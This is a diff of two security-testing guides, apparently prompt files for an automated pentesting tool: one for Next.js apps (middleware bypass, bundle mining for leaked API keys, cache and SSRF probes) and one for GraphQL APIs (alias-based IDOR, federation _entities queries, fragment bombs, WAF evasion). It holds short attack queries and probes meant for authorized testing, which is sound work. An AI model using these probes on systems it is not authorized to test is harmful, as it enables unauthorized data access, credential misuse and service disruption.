- Server action discovery: Inspect Network tab for POST requests with `Next-Action` header; extract action IDs from response streams and client hydration data
|
// List public environment variables
|
||||||
- Environment variable leakage: Execute `Object.keys(process.env).filter(k => k.startsWith('NEXT_PUBLIC_'))` in console to list public env vars; grep bundles for 'API_KEY', 'SECRET', 'TOKEN', 'PASSWORD' to find accidentally leaked credentials
|
Object.keys(process.env).filter(k => k.startsWith('NEXT_PUBLIC_'))
|
||||||
|
```
|
||||||
|
|
||||||
|
**Build Artifacts**
|
||||||
|
```
|
||||||
|
GET /_next/static/<buildId>/_buildManifest.js
|
||||||
|
GET /_next/static/<buildId>/_ssgManifest.js
|
||||||
|
GET /_next/static/chunks/pages/
|
||||||
|
GET /_next/static/chunks/app/
|
||||||
|
```
|
||||||
|
Chunk filenames map to routes (e.g., `admin.js` → `/admin`).
|
||||||
|
|
||||||
|
**Source Maps**
|
||||||
|
|
||||||
|
Check `/_next/static/` for exposed `.map` files revealing route structure, server action IDs, and internal functions.
|
||||||
|
|
||||||
|
**Client Bundle Mining**
|
||||||
|
|
||||||
|
Search main-*.js for: `pathname:`, `href:`, `__next_route__`, `serverActions`, API endpoints. Grep for `API_KEY`, `SECRET`, `TOKEN`, `PASSWORD` to find accidentally leaked credentials.
|
||||||
|
|
||||||
|
**Server Action Discovery**
|
||||||
|
|
||||||
|
Inspect Network tab for POST requests with `Next-Action` header. Extract action IDs from response streams and hydration data.
|
||||||
|
|
||||||
|
**Additional Leakage**
|
||||||
|
- `/sitemap.xml`, `/robots.txt`, `/sitemap-*.xml` for unintended admin/internal/preview paths
|
||||||
|
- Client bundles/env for secret paths and preview/admin flags (many teams hide routes via UI only)
|
||||||
|
|
||||||
|
## Key Vulnerabilities
|
||||||
|
|
||||||
### Middleware Bypass
|
### Middleware Bypass
|
||||||
|
|
||||||
- Test for CVE-class middleware bypass via `x-middleware-subrequest` crafting and `x-nextjs-data` probing. Look for 307 + `x-middleware-rewrite`/`x-nextjs-redirect` headers and attempt bypass on protected routes.
|
**Known Techniques**
|
||||||
- Attempt direct route access on Node vs Edge runtimes; confirm protection parity.
|
- `x-middleware-subrequest` header crafting (CVE-class bypass)
|
||||||
|
- `x-nextjs-data` probing
|
||||||
|
- Look for 307 + `x-middleware-rewrite`/`x-nextjs-redirect` headers
|
||||||
|
|
||||||
|
**Path Normalization**
|
||||||
|
```
|
||||||
|
/api/users
|
||||||
|
/api/users/
|
||||||
|
/api//users
|
||||||
|
/api/./users
|
||||||
|
```
|
||||||
|
Middleware may normalize differently than route handlers. Test double slashes, trailing slashes, dot segments.
|
||||||
|
|
||||||
|
**Parameter Pollution**
|
||||||
|
```
|
||||||
|
?id=1&id=2
|
||||||
|
?filter[]=a&filter[]=b
|
||||||
|
```
|
||||||
|
Middleware checks first value, handler uses last or array.
|
||||||
|
|
||||||
### Server Actions
|
### Server Actions
|
||||||
|
|
||||||
- Capture streamed POSTs containing `Next-Action` headers. Map hashed action IDs via source maps or specialized tooling to discover hidden actions.
|
- Invoke actions outside UI flow with alternate content-types
|
||||||
- Invoke actions out of UI flow and with alternate content-types; verify server-side authorization is enforced per action and not assumed from client state.
|
- Authorization assumed from client state rather than enforced server-side
|
||||||
- Try cross-tenant/object references within action payloads to expose BOLA/IDOR via server actions.
|
- IDOR via object references in action payloads
|
||||||
|
- Map action IDs from source maps to discover hidden actions
|
||||||
|
|
||||||
### Rsc And Cache
|
### RSC & Caching
|
||||||
|
|
||||||
- RSC fetch cache: probe `fetch` cache modes (force-cache, default, no-store) and revalidate tags/paths. Look for user-bound data cached without identity keys (ETag/Set-Cookie unaware).
|
**Cache Boundary Failures**
|
||||||
- Confirm that personalized data is rendered via `no-store` or properly keyed; attempt cross-user content via shared caches/CDN.
|
- User-bound data cached without identity keys (ETag/Set-Cookie unaware)
|
||||||
- Inspect Flight data streams for serialized sensitive fields leaking through props.
|
- Personalized content served from shared cache/CDN
|
||||||
|
- Missing `no-store` on sensitive fetches
|
||||||
|
|
||||||
### Isr And Revalidation
|
**Flight Data Leakage**
|
||||||
|
|
||||||
- Identify ISR pages (stale-while-revalidate). Check if responses may include user-bound fragments or tenant-dependent content.
|
Inspect streamed RSC payloads for serialized sensitive fields in props.
|
||||||
- On-demand revalidation endpoints: look for weak secrets in URLs, referer-disclosed tokens, or unvalidated hosts triggering `revalidatePath`/`revalidateTag`.
|
|
||||||
- Attempt header-smuggling or method variations to trigger revalidation flows.
|
|
||||||
|
|
||||||
### Draft Preview Mode
|
**ISR Issues**
|
||||||
|
- Stale-while-revalidate responses containing user-specific or tenant-dependent data
|
||||||
|
- Weak secrets in on-demand revalidation endpoint URLs
|
||||||
|
- Referer-disclosed tokens or unvalidated hosts triggering `revalidatePath`/`revalidateTag`
|
||||||
|
- Header-smuggling or method variations to trigger revalidation
|
||||||
|
|
||||||
- Draft/preview mode toggles via secret URLs/cookies; search for preview enable endpoints and secrets in client bundles/env leaks.
|
### Authentication
|
||||||
- Try setting preview cookies from subdomains, alternate paths, or through open redirects; observe content differences and persistence.
|
|
||||||
|
|
||||||
### Next Image Ssrf
|
**NextAuth Pitfalls**
|
||||||
|
- Missing/relaxed state/nonce/PKCE per provider (login CSRF, token mix-up)
|
||||||
|
- Open redirect in `callbackUrl` or mis-scoped allowed hosts
|
||||||
|
- JWT audience/issuer not enforced across routes
|
||||||
|
- Cross-service token reuse
|
||||||
|
- Session hijacking by forcing callbacks
|
||||||
|
|
||||||
- Review `images.domains`/`remotePatterns` in `next.config.js`; test SSRF to internal hosts (IPv4/IPv6 variants, DNS rebinding) if patterns are broad.
|
**Session Boundaries**
|
||||||
- Custom loader functions may fetch with arbitrary URLs; test protocol smuggling and redirection chains.
|
- Different auth enforcement between App Router and Pages Router
|
||||||
- Attempt cache poisoning: craft same URL with different normalization to affect other users.
|
- API routes vs Route Handlers authorization inconsistency
|
||||||
|
|
||||||
### Nextauth Pitfalls
|
### Data Exposure
|
||||||
|
|
||||||
- State/nonce/PKCE: validate per-provider correctness; attempt missing/relaxed checks leading to login CSRF or token mix-up.
|
**__NEXT_DATA__ Over-fetching**
|
||||||
- Callback URL restrictions: open redirect in `callbackUrl` or mis-scoped allowed hosts; hijack sessions by forcing callbacks.
|
|
||||||
- JWT/session bridges: audience/issuer not enforced across API routes/Route Handlers; attempt cross-service token reuse.
|
|
||||||
|
|
||||||
### Edge Runtime Diffs
|
Server-fetched data passed to client but not rendered:
|
||||||
|
- Full user objects when only username needed
|
||||||
|
- Internal IDs, tokens, admin-only fields
|
||||||
|
- ORM select-all patterns exposing entire records
|
||||||
|
- API responses forwarded without sanitization (metadata, cursors, debug info)
|
||||||
|
|
||||||
- Edge runtime lacks certain Node APIs; defenses relying on Node-only modules may be skipped. Compare behavior of the same route in Edge vs Node.
|
**Environment-Dependent Exposure**
|
||||||
- Header trust and IP determination can differ at the edge; test auth decisions tied to `x-forwarded-*` variance.
|
- Staging/dev accidentally exposes more fields than production
|
||||||
|
- Inconsistent serialization logic across environments
|
||||||
|
|
||||||
### Client And Dom
|
**Props Inspection**
|
||||||
|
```javascript
|
||||||
|
// Check for sensitive data in page props
|
||||||
|
JSON.parse(document.getElementById('__NEXT_DATA__').textContent).props
|
||||||
|
```
|
||||||
|
Look for `_metadata`, `_internal`, `__typename` (GraphQL), nested sensitive objects.
|
||||||
|
|
||||||
- Identify `dangerouslySetInnerHTML`, Markdown renderers, and user-controlled href/src attributes. Validate CSP/Trusted Types coverage for SSR/CSR/hydration.
|
### Image Optimizer SSRF
|
||||||
- Attack hydration boundaries: server vs client render mismatches can enable gadget-based XSS.
|
|
||||||
|
|
||||||
### Data Fetching Over Exposure
|
**Remote Patterns**
|
||||||
|
- Broad `images.domains`/`remotePatterns` in `next.config.js`
|
||||||
|
- Test: internal hosts, IPv4/IPv6 variants, DNS rebinding
|
||||||
|
|
||||||
- getServerSideProps/getStaticProps leakage: Execute `JSON.parse(document.getElementById('__NEXT_DATA__').textContent).props.pageProps` in console to inspect all server-fetched data; look for sensitive fields (emails, tokens, internal IDs, full user objects) passed to client but not rendered in UI
|
**Custom Loaders**
|
||||||
- Over-fetched database queries: Check if pageProps include entire user records, relations, or admin-only fields when only username is displayed; common when using ORM select-all patterns
|
- Protocol smuggling via redirect chains
|
||||||
- API response pass-through: Verify if API responses are sanitized before passing to props; developers often forward entire responses including metadata, cursors, or debug info
|
- Cache poisoning via URL normalization differences affecting other users
|
||||||
- Environment-dependent data: Test if staging/dev accidentally exposes more fields in props than production due to inconsistent serialization logic
|
|
||||||
- Nested object inspection: Drill into nested props objects; look for `_metadata`, `_internal`, `__typename` (GraphQL), or framework-added fields containing sensitive context
|
### Runtime Divergence
|
||||||
|
|
||||||
|
**Edge vs Node**
|
||||||
|
- Defenses relying on Node-only modules skipped on Edge
|
||||||
|
- Header trust differs (`x-forwarded-*` handling)
|
||||||
|
- Same route may behave differently across runtimes
|
||||||
|
|
||||||
|
### Client-Side
|
||||||
|
|
||||||
|
**XSS Vectors**
|
||||||
|
- `dangerouslySetInnerHTML`
|
||||||
|
- Markdown renderers
|
||||||
|
- User-controlled href/src attributes
|
||||||
|
- Validate CSP/Trusted Types coverage for SSR/CSR/hydration
|
||||||
|
|
||||||
|
**Hydration Mismatches**
|
||||||
|
|
||||||
|
Server vs client render differences can enable gadget-based XSS.
|
||||||
|
|
||||||
|
### Draft/Preview Mode
|
||||||
|
|
||||||
|
- Secret URLs/cookies enabling preview
|
||||||
|
- Preview secrets leaked in client bundles/env
|
||||||
|
- Setting preview cookies from subdomains or via open redirects
|
||||||
|
|
||||||
## Bypass Techniques
|
## Bypass Techniques
|
||||||
|
|
||||||
- Content-type switching: `application/json` ↔ `multipart/form-data` ↔ `application/x-www-form-urlencoded` to traverse alternate code paths.
|
- Content-type switching: `application/json` ↔ `multipart/form-data` ↔ `application/x-www-form-urlencoded`
|
||||||
- Method override/tunneling: `_method`, `X-HTTP-Method-Override`, GET on endpoints unexpectedly accepting writes.
|
- Method override: `_method`, `X-HTTP-Method-Override`, GET on endpoints accepting writes
|
||||||
- Case/param aliasing and query duplication affecting middleware vs handler parsing.
|
- Case/param aliasing and query duplication affecting middleware vs handler parsing
|
||||||
- Cache key confusion at CDN/proxy (lack of Vary on auth cookies/headers) to leak personalized SSR/ISR content.
|
- Cache key confusion at CDN/proxy (lack of Vary on auth cookies/headers)
|
||||||
- API route path normalization: Test `/api/users` vs `/api/users/` vs `/api//users` vs `/api/./users`; middleware may normalize differently than route handlers, allowing protection bypass. Try double slashes, trailing slashes, and dot segments.
|
|
||||||
- Parameter pollution: Send duplicate query params (`?id=1&id=2`) or array notation (`?filter[]=a&filter[]=b`) to exploit parsing differences between middleware (which may check first value) and handler (which may use last or array).
|
|
||||||
|
|
||||||
## Special Contexts
|
## Testing Methodology
|
||||||
|
|
||||||
### Uploads And Files
|
1. **Enumerate** - Use `__BUILD_MANIFEST`, source maps, build artifacts, sitemap/robots to map all routes
|
||||||
|
2. **Runtime matrix** - Test each route under Edge and Node runtimes
|
||||||
|
3. **Role matrix** - Test as unauth/user/admin across SSR, API routes, Route Handlers, Server Actions
|
||||||
|
4. **Cache probing** - Verify caching respects identity (strip cookies, alter Vary headers, check ETags)
|
||||||
|
5. **Middleware validation** - Test path variants and header manipulation for bypass
|
||||||
|
6. **Cross-router** - Compare authorization between App Router and Pages Router paths
|
||||||
|
|
||||||
- API routes and Route Handlers handling file uploads: check MIME sniffing, Content-Disposition, stored path traversal, and public serving of user files.
|
## Validation Requirements
|
||||||
- Validate signing/scoping of any generated file URLs (short TTL, audience-bound).
|
|
||||||
|
|
||||||
### Integrations And Webhooks
|
- Side-by-side requests showing cross-user/tenant access
|
||||||
|
- Cache boundary failure proof (response diffs, ETag collisions)
|
||||||
- Webhooks that trigger revalidation/imports: require HMAC verification; test with replay and cross-tenant object IDs.
|
- Server action invocation outside UI with insufficient auth
|
||||||
- Analytics/AB testing flags controlled via cookies/headers; ensure they do not unlock privileged server paths.
|
- Middleware bypass with explicit headers showing protected content access
|
||||||
|
- Runtime parity checks (Edge vs Node inconsistent enforcement)
|
||||||
## Validation
|
- Discovered routes verified as deployed (200/403) not just build artifacts (404)
|
||||||
|
- Leaked credentials tested with minimal read-only calls; filter placeholders
|
||||||
1. Provide side-by-side requests for different principals showing cross-user/tenant content or actions.
|
- `__NEXT_DATA__` exposure: verify cross-user (User A's props shouldn't contain User B's PII), confirm exposed fields not in DOM
|
||||||
2. Prove cache boundary failure (RSC/ISR/CDN) with response diffs or ETag collisions.
|
- Path normalization bypasses: show differential responses (403 vs 200), redirects don't count
|
||||||
3. Demonstrate server action invocation outside UI with insufficient authorization checks.
|
|
||||||
4. Show middleware bypass (where applicable) with explicit headers and resulting protected content.
|
|
||||||
5. Include runtime parity checks (Edge vs Node) proving inconsistent enforcement.
|
|
||||||
6. For route enumeration: verify discovered routes return 200/403 (deployed) not 404 (build artifacts); test with authenticated vs unauthenticated requests.
|
|
||||||
7. For leaked credentials: test API keys with minimal read-only calls; filter placeholders (YOUR_API_KEY, demo-token); confirm keys match provider patterns (sk_live_*, pk_prod_*).
|
|
||||||
8. For __NEXT_DATA__ over-exposure: test cross-user (User A's props should not contain User B's PII); verify exposed fields are not in DOM; validate token validity with API calls.
|
|
||||||
9. For path normalization bypasses: show differential responses (403 vs 200 for path variants); redirects (307/308) don't count—only direct access bypasses matter.
|
|
||||||
|
|
||||||
## Pro Tips
|
|
||||||
|
|
||||||
1. Enumerate with both App and Pages routers: many apps ship a hybrid surface.
|
|
||||||
2. Treat caching as an identity boundary—test with cookies stripped, altered, and with Vary/ETag diffs.
|
|
||||||
3. Decode client bundles for preview/revalidate secrets, action IDs, and hidden routes.
|
|
||||||
4. Use streaming-aware tooling to capture server actions and RSC payloads; diff flight data.
|
|
||||||
5. For NextAuth, fuzz provider params (state, nonce, scope, callbackUrl) and verify strictness.
|
|
||||||
6. Always retest under Edge and Node; misconfigurations often exist in only one runtime.
|
|
||||||
7. Probe `next/image` aggressively but safely—test IPv6/obscure encodings and redirect behavior.
|
|
||||||
8. Validate negative paths: other-user IDs, other-tenant headers/subdomains, lower roles.
|
|
||||||
9. Focus on export/report/download endpoints; they often bypass resolver-level checks.
|
|
||||||
10. Document minimal, reproducible PoCs; avoid noisy payloads—prefer precise diffs.
|
|
||||||
|
|
||||||
## Remember
|
|
||||||
|
|
||||||
Next.js security breaks where identity, authorization, and caching diverge across routers, runtimes, and data paths. Bind subject, action, and object on every path, and key caches to identity and tenant explicitly.
|
|
||||||
|
|||||||
@@ -1,217 +1,276 @@
|
|||||||
# GRAPHQL — ADVANCED TESTING AND EXPLOITATION
|
---
|
||||||
|
name: graphql
|
||||||
|
description: GraphQL security testing covering introspection, resolver injection, batching attacks, and authorization bypass
|
||||||
|
---
|
||||||
|
|
||||||
## Critical
|
# GraphQL
|
||||||
|
|
||||||
GraphQL’s flexibility enables powerful data access, but also unique failures: field- and edge-level authorization drift, schema exposure (even with introspection off), alias/batch abuse, resolver injection, federated trust gaps, and complexity/fragment bombs. Bind subject→action→object at resolver boundaries and validate across every transport and feature flag.
|
Security testing for GraphQL APIs. Focus on resolver-level authorization, field/edge access control, batching abuse, and federation trust boundaries.
|
||||||
|
|
||||||
## Scope
|
## Attack Surface
|
||||||
|
|
||||||
- Queries, mutations, subscriptions (graphql-ws, graphql-transport-ws)
|
**Operations**
|
||||||
- Persisted queries/Automatic Persisted Queries (APQ)
|
- Queries, mutations, subscriptions
|
||||||
- Federation (Apollo/GraphQL Mesh): _service SDL and _entities
|
- Persisted queries / Automatic Persisted Queries (APQ)
|
||||||
- File uploads (GraphQL multipart request spec)
|
|
||||||
- Relay conventions: global node IDs, connections/cursors
|
|
||||||
|
|
||||||
## Methodology
|
**Transports**
|
||||||
|
- HTTP POST/GET with `application/json` or `application/graphql`
|
||||||
|
- WebSocket: graphql-ws, graphql-transport-ws protocols
|
||||||
|
- Multipart for file uploads
|
||||||
|
|
||||||
1. Fingerprint endpoint(s), transport(s), and stack (framework, plugins, gateway). Note GraphiQL/Playground exposure and CORS/credentials.
|
**Schema Features**
|
||||||
2. Obtain multiple principals (unauth, basic, premium, admin/staff) and capture at least one valid object ID per subject.
|
- Introspection (`__schema`, `__type`)
|
||||||
3. Acquire schema via introspection; if disabled, infer iteratively from errors, field suggestions, __typename probes, vocabulary brute-force.
|
- Directives: `@defer`, `@stream`, custom auth directives (@auth, @private)
|
||||||
4. Build an Actor × Operation × Type/Field matrix. Exercise each resolver path with swapped IDs, roles, tenants, and channels (REST proxies, GraphQL HTTP, WS).
|
- Custom scalars: Upload, JSON, DateTime
|
||||||
5. Validate consistency: same authorization and validation across queries, mutations, subscriptions, batch/alias, persisted queries, and federation.
|
- Relay: global node IDs, connections/cursors, interfaces/unions
|
||||||
|
|
||||||
## Discovery Techniques
|
**Architecture**
|
||||||
|
- Federation (Apollo, GraphQL Mesh): `_service`, `_entities`
|
||||||
|
- Gateway vs subgraph authorization boundaries
|
||||||
|
|
||||||
### Endpoint Finding
|
## Reconnaissance
|
||||||
|
|
||||||
- Common paths: /graphql, /api/graphql, /v1/graphql, /gql
|
**Endpoint Discovery**
|
||||||
- Probe with minimal canary:
|
|
||||||
```
|
```
|
||||||
POST /graphql {"query":"{__typename}"}
|
POST /graphql {"query":"{__typename}"}
|
||||||
|
POST /api/graphql {"query":"{__typename}"}
|
||||||
|
POST /v1/graphql {"query":"{__typename}"}
|
||||||
|
POST /gql {"query":"{__typename}"}
|
||||||
GET /graphql?query={__typename}
|
GET /graphql?query={__typename}
|
||||||
```
|
```
|
||||||
- Detect GraphiQL/Playground; note if accessible cross-origin and with credentials.
|
|
||||||
|
|
||||||
### Introspection And Inference
|
Check for GraphiQL/Playground exposure with credentials enabled (cross-origin with cookies can leak data via postMessage bridges).
|
||||||
|
|
||||||
- If enabled, dump full schema; otherwise:
|
**Schema Acquisition**
|
||||||
- Use __typename on candidate fields to confirm types
|
|
||||||
- Abuse field suggestions and error shapes to enumerate names/args
|
|
||||||
- Infer enums from “expected one of” errors; coerce types by providing wrong shapes
|
|
||||||
- Reconstruct edges from pagination and connection hints (pageInfo, edges/node)
|
|
||||||
|
|
||||||
### Schema Construction
|
If introspection enabled:
|
||||||
|
```graphql
|
||||||
- Map root operations, object types, interfaces/unions, directives (@auth, @defer, @stream), and custom scalars (Upload, JSON, DateTime)
|
{__schema{types{name fields{name args{name}}}}}
|
||||||
- Identify sensitive fields: email, tokens, roles, billing, file keys, admin flags
|
|
||||||
- Note cascade paths where child resolvers may skip auth under parent assumptions
|
|
||||||
|
|
||||||
## Exploitation Techniques
|
|
||||||
|
|
||||||
### Authorization And Idor
|
|
||||||
|
|
||||||
- Test field-level and edge-level checks, not just top-level gates. Pair owned vs foreign IDs within the same request via aliases to diff responses.
|
|
||||||
```
|
```
|
||||||
|
|
||||||
|
If disabled, infer schema via:
|
||||||
|
- `__typename` probes on candidate fields
|
||||||
|
- Field suggestion errors (submit near-miss names to harvest suggestions)
|
||||||
|
- "Expected one of" errors revealing enum values
|
||||||
|
- Type coercion errors exposing field structure
|
||||||
|
- Error taxonomy: different codes for "unknown field" vs "unauthorized field" reveal existence
|
||||||
|
|
||||||
|
**Schema Mapping**
|
||||||
|
|
||||||
|
Map: root operations, object types, interfaces/unions, directives, custom scalars. Identify sensitive fields: email, tokens, roles, billing, API keys, admin flags, file URLs. Note cascade paths where child resolvers may skip auth under parent assumptions.
|
||||||
|
|
||||||
|
## Key Vulnerabilities
|
||||||
|
|
||||||
|
### Authorization Bypass
|
||||||
|
|
||||||
|
**Field-Level IDOR**
|
||||||
|
|
||||||
|
Test with aliases comparing owned vs foreign objects in single request:
|
||||||
|
```graphql
|
||||||
query {
|
query {
|
||||||
me { id }
|
own: order(id:"OWNED_ID") { id total owner { email } }
|
||||||
a: order(id:"A_OWNER") { id total owner { id email } }
|
foreign: order(id:"FOREIGN_ID") { id total owner { email } }
|
||||||
b: order(id:"B_FOREIGN") { id total owner { id email } }
|
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
- Probe mutations for partial updates that bypass validation (JSON Merge Patch semantics in inputs).
|
|
||||||
- Validate node/global ID resolvers (Relay) bind to the caller; decode/replace base64 IDs and compare access.
|
|
||||||
|
|
||||||
### Batching And Alias
|
**Edge/Child Resolver Gaps**
|
||||||
|
|
||||||
- Alias to perform many logically separate reads in one operation; watch for per-request vs per-field auth discrepancies
|
Parent resolver checks auth, child resolver assumes it's already validated:
|
||||||
- If array batching is supported (non-standard), submit multiple operations to bypass rate limits and achieve partial failures
|
```graphql
|
||||||
|
query {
|
||||||
|
user(id:"FOREIGN") {
|
||||||
|
id
|
||||||
|
privateData { secrets } # Child may skip auth check
|
||||||
|
}
|
||||||
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
|
**Relay Node Resolution**
|
||||||
|
|
||||||
|
Decode base64 global IDs, swap type/id pairs:
|
||||||
|
```graphql
|
||||||
|
query {
|
||||||
|
node(id:"VXNlcjoxMjM=") { ... on User { email } }
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Ensure per-type authorization is enforced inside resolvers. Verify connection filters (owner/tenant) apply before pagination; cursor tampering should not cross ownership boundaries.
|
||||||
|
|
||||||
|
**Mutation Bypass**
|
||||||
|
- Probe mutations for partial updates bypassing validation (JSON Merge Patch semantics)
|
||||||
|
- Test mutations that accept extra fields passed to downstream logic
|
||||||
|
|
||||||
|
### Batching & Alias Abuse
|
||||||
|
|
||||||
|
**Enumeration via Aliases**
|
||||||
|
```graphql
|
||||||
query {
|
query {
|
||||||
u1:user(id:"1"){email}
|
u1:user(id:"1"){email}
|
||||||
u2:user(id:"2"){email}
|
u2:user(id:"2"){email}
|
||||||
u3:user(id:"3"){email}
|
u3:user(id:"3"){email}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
Bypasses per-request rate limits; exposes per-field vs per-request auth inconsistencies.
|
||||||
|
|
||||||
### Variable And Shape Abuse
|
**Array Batching**
|
||||||
|
|
||||||
- Scalars vs objects vs arrays: `{id:123}` vs `{id:"123"}` vs `{id:[123]}`; send null/empty/0/-1 and extra object keys retained by backend
|
If supported (non-standard), submit multiple operations to achieve partial failures and bypass limits.
|
||||||
- Duplicate keys in JSON variables: `{"id":1,"id":2}` (parser precedence), default argument values, coercion errors leaking field names
|
|
||||||
|
|
||||||
### Cursor And Projection
|
### Input Manipulation
|
||||||
|
|
||||||
- Decode cursors (often base64) to manipulate offsets/IDs and skip filters
|
**Type Confusion**
|
||||||
- Abuse selection sets and fragments to force overfetching of sensitive subfields
|
|
||||||
|
|
||||||
### File Uploads
|
|
||||||
|
|
||||||
- GraphQL multipart: test multiple Upload scalars, filename/path tricks, unexpected content-types, oversize chunks; verify server-side ownership/scoping for returned URLs
|
|
||||||
|
|
||||||
## Advanced Techniques
|
|
||||||
|
|
||||||
### Introspection Bypass
|
|
||||||
|
|
||||||
- Field suggestion leakage: submit near-miss names to harvest suggestions
|
|
||||||
- Error taxonomy: different codes/messages for unknown field vs unauthorized field reveal existence
|
|
||||||
- __typename sprinkling on edges to confirm types without schema
|
|
||||||
|
|
||||||
### Defer And Stream
|
|
||||||
|
|
||||||
- Use @defer and @stream to obtain partial results or subtrees hidden by parent checks; confirm server supports incremental delivery
|
|
||||||
```
|
```
|
||||||
query @defer {
|
{id: 123} vs {id: "123"}
|
||||||
|
{id: [123]} vs {id: null}
|
||||||
|
{id: 0} vs {id: -1}
|
||||||
|
```
|
||||||
|
|
||||||
|
**Duplicate Keys**
|
||||||
|
```json
|
||||||
|
{"id": 1, "id": 2}
|
||||||
|
```
|
||||||
|
Parser precedence varies; may bypass validation. Also test default argument values.
|
||||||
|
|
||||||
|
**Extra Fields**
|
||||||
|
|
||||||
|
Send unexpected keys in input objects; backends may pass them to resolvers or downstream logic.
|
||||||
|
|
||||||
|
### Cursor Manipulation
|
||||||
|
|
||||||
|
Decode cursors (usually base64) to:
|
||||||
|
- Manipulate offsets/IDs
|
||||||
|
- Skip filters
|
||||||
|
- Cross ownership boundaries
|
||||||
|
|
||||||
|
### Directive Abuse
|
||||||
|
|
||||||
|
**@defer/@stream**
|
||||||
|
```graphql
|
||||||
|
query {
|
||||||
me { id }
|
me { id }
|
||||||
... @defer { adminPanel { secrets } }
|
... @defer { adminPanel { secrets } }
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
May return gated data in incremental delivery. Confirm server supports incremental delivery.
|
||||||
|
|
||||||
### Fragment And Complexity Bombs
|
**Custom Directives**
|
||||||
|
|
||||||
- Recursive fragment spreads and wide selection sets cause CPU/memory spikes; craft minimal reproducible bombs to validate cost limits
|
@auth, @private and similar directives often annotate intent but do not enforce—verify actual checks in each resolver path.
|
||||||
```
|
|
||||||
|
### Complexity Attacks
|
||||||
|
|
||||||
|
**Fragment Bombs**
|
||||||
|
```graphql
|
||||||
fragment x on User { friends { ...x } }
|
fragment x on User { friends { ...x } }
|
||||||
query { me { ...x } }
|
query { me { ...x } }
|
||||||
```
|
```
|
||||||
- Validate depth/complexity limiting, query cost analyzers, and timeouts
|
Test depth/complexity limits, query cost analyzers, timeouts.
|
||||||
|
|
||||||
### Federation
|
**Wide Selection Sets**
|
||||||
|
|
||||||
- Apollo Federation: query _service { sdl } if exposed; target _entities to materialize foreign objects by key without proper auth in subgraphs
|
Abuse selection sets and fragments to force overfetching of sensitive subfields.
|
||||||
|
|
||||||
|
### Federation Exploitation
|
||||||
|
|
||||||
|
**SDL Exposure**
|
||||||
|
```graphql
|
||||||
|
query { _service { sdl } }
|
||||||
```
|
```
|
||||||
|
|
||||||
|
**Entity Materialization**
|
||||||
|
```graphql
|
||||||
query {
|
query {
|
||||||
_entities(representations:[
|
_entities(representations:[
|
||||||
{__typename:"User", id:"TARGET"}
|
{__typename:"User", id:"TARGET_ID"}
|
||||||
]) { ... on User { email roles } }
|
]) { ... on User { email roles } }
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
- Look for auth done at gateway but skipped in subgraph resolvers; cross-subgraph IDOR via inconsistent ownership checks
|
Gateway may enforce auth; subgraph resolvers may not. Look for cross-subgraph IDOR via inconsistent ownership checks.
|
||||||
|
|
||||||
### Subscriptions
|
### Subscription Security
|
||||||
|
|
||||||
- Check message-level authorization, not only handshake; attempt to subscribe to channels for other users/tenants; test cross-tenant event leakage
|
- Authorization at handshake only, not per-message
|
||||||
|
- Subscribe to other users' channels via filter args
|
||||||
|
- Cross-tenant event leakage
|
||||||
- Abuse filter args in subscription resolvers to reference foreign IDs
|
- Abuse filter args in subscription resolvers to reference foreign IDs
|
||||||
|
|
||||||
### Persisted Queries
|
### Persisted Query Abuse
|
||||||
|
|
||||||
- APQ hashes can be guessed/bruteforced or leaked from clients; replay privileged operations by supplying known hashes with attacker variables
|
- APQ hashes leaked from client bundles
|
||||||
- Validate that hash→operation mapping enforces principal and operation allowlists
|
- Replay privileged operations with attacker variables
|
||||||
|
- Hash bruteforce for common operations
|
||||||
|
- Validate hash→operation mapping enforces principal and operation allowlists
|
||||||
|
|
||||||
### Csrf And Cors
|
### CORS & CSRF
|
||||||
|
|
||||||
- If cookie-auth is used and GET is accepted, test CSRF on mutations via query parameters; verify SameSite and origin checks
|
- Cookie-auth with GET queries enables CSRF on mutations via query parameters
|
||||||
- Cross-origin GraphiQL/Playground exposure with credentials can leak data via postMessage bridges
|
- GraphiQL/Playground cross-origin with credentials leaks data
|
||||||
|
- Missing SameSite and origin validation
|
||||||
|
|
||||||
### Waf Evasion
|
### File Uploads
|
||||||
|
|
||||||
- Reshape queries: comments, block strings, Unicode escapes, alias/fragment indirection, JSON variables vs inline args, GET vs POST vs application/graphql
|
GraphQL multipart spec:
|
||||||
- Split fields across fragments and inline spreads to avoid naive signatures
|
- Multiple Upload scalars
|
||||||
|
- Filename/path traversal tricks
|
||||||
|
- Unexpected content-types, oversize chunks
|
||||||
|
- Server-side ownership/scoping for returned URLs
|
||||||
|
|
||||||
|
## WAF Evasion
|
||||||
|
|
||||||
|
**Query Reshaping**
|
||||||
|
- Comments and block strings (`"""..."""`)
|
||||||
|
- Unicode escapes
|
||||||
|
- Alias/fragment indirection
|
||||||
|
- JSON variables vs inline args
|
||||||
|
- GET vs POST vs `application/graphql`
|
||||||
|
|
||||||
|
**Fragment Splitting**
|
||||||
|
|
||||||
|
Split fields across fragments and inline spreads to avoid naive signatures:
|
||||||
|
```graphql
|
||||||
|
fragment a on User { email }
|
||||||
|
fragment b on User { password }
|
||||||
|
query { me { ...a ...b } }
|
||||||
|
```
|
||||||
|
|
||||||
## Bypass Techniques
|
## Bypass Techniques
|
||||||
|
|
||||||
### Transport And Parsers
|
**Transport Switching**
|
||||||
|
```
|
||||||
|
Content-Type: application/json
|
||||||
|
Content-Type: application/graphql
|
||||||
|
Content-Type: multipart/form-data
|
||||||
|
GET with query params
|
||||||
|
```
|
||||||
|
|
||||||
- Toggle content-types: application/json, application/graphql, multipart/form-data; try GET with query and variables params
|
**Timing & Rate Limits**
|
||||||
- HTTP/2 multiplexing and connection reuse to widen timing windows and rate limits
|
- HTTP/2 multiplexing and connection reuse to widen timing windows
|
||||||
|
- Batching to bypass rate limits
|
||||||
|
|
||||||
### Naming And Aliasing
|
**Naming Tricks**
|
||||||
|
- Case/underscore variations
|
||||||
|
- Unicode homoglyphs (server-dependent)
|
||||||
|
- Aliases masking sensitive field names
|
||||||
|
|
||||||
- Case/underscore variations, Unicode homoglyphs (server-dependent), aliases masking sensitive field names
|
**Cache Confusion**
|
||||||
|
- CDN caching without Vary on Authorization
|
||||||
|
- Variable manipulation affecting cache keys
|
||||||
|
- Redirects and 304/206 behaviors leaking partial responses
|
||||||
|
|
||||||
### Gateway And Cache
|
## Testing Methodology
|
||||||
|
|
||||||
